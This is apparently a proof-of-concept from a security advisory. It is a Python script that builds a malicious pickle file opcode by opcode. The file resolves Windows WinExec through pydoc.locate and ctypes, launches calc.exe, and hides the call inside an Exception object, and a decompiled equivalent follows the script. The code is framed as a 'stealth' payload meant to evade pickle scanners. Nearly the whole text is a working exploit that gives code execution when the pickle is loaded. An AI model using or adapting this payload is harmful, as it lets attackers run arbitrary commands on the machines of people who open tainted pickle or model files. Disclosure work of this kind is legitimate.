GHSA-5hvc-6wx8-mvv4

import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec> payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'")

from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3